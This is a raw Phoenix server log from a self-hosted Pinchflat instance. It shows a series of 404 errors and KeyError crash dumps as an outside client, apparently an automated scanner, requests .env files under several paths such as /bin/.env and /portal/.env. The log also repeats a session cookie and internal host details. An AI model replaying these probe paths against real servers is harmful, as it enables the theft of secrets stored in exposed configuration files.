AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 111, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 111, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:16.625 [info] GET /sbin/.env 02:10:16.626 [debug] QUERY OK source="settings" db=0.4ms idle=211.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.627 [debug] QUERY OK source="settings" db=0.2ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.627 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.627 [error] #PID<0.3416.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 112) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sbin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sbin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sbin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 112, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3416.0>, params: %{}, path_info: ["sbin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/sbin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6m8An6lOAZwAARvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sbin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 112, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sbin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sbin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 112, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:16.691 [info] GET /local/.env 02:10:16.692 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=197.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.692 [debug] QUERY OK source="settings" db=0.2ms idle=126.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.692 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.693 [error] #PID<0.3417.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 113) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /local/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /local/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/local/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 113, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3417.0>, params: %{}, path_info: ["local", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/local/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6nLpzyFnNFcAARwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/local/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 113, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /local/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/local/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 113, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:16.746 [info] GET /portal/.env 02:10:16.747 [debug] QUERY OK source="settings" db=0.5ms idle=180.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.747 [debug] QUERY OK source="settings" db=0.2ms idle=120.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.748 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.748 [error] #PID<0.3418.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 114) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /portal/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /portal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 114, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3418.0>, params: %{}, path_info: ["portal", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/portal/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6nYw3gRgQHcAARxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 114, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /portal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 114, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:16.813 [info] GET /dashboard/.env 02:10:16.814 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=186.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.815 [debug] QUERY OK source="settings" db=0.2ms idle=122.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.815 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.815 [error] #PID<0.3419.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 115) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /dashboard/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 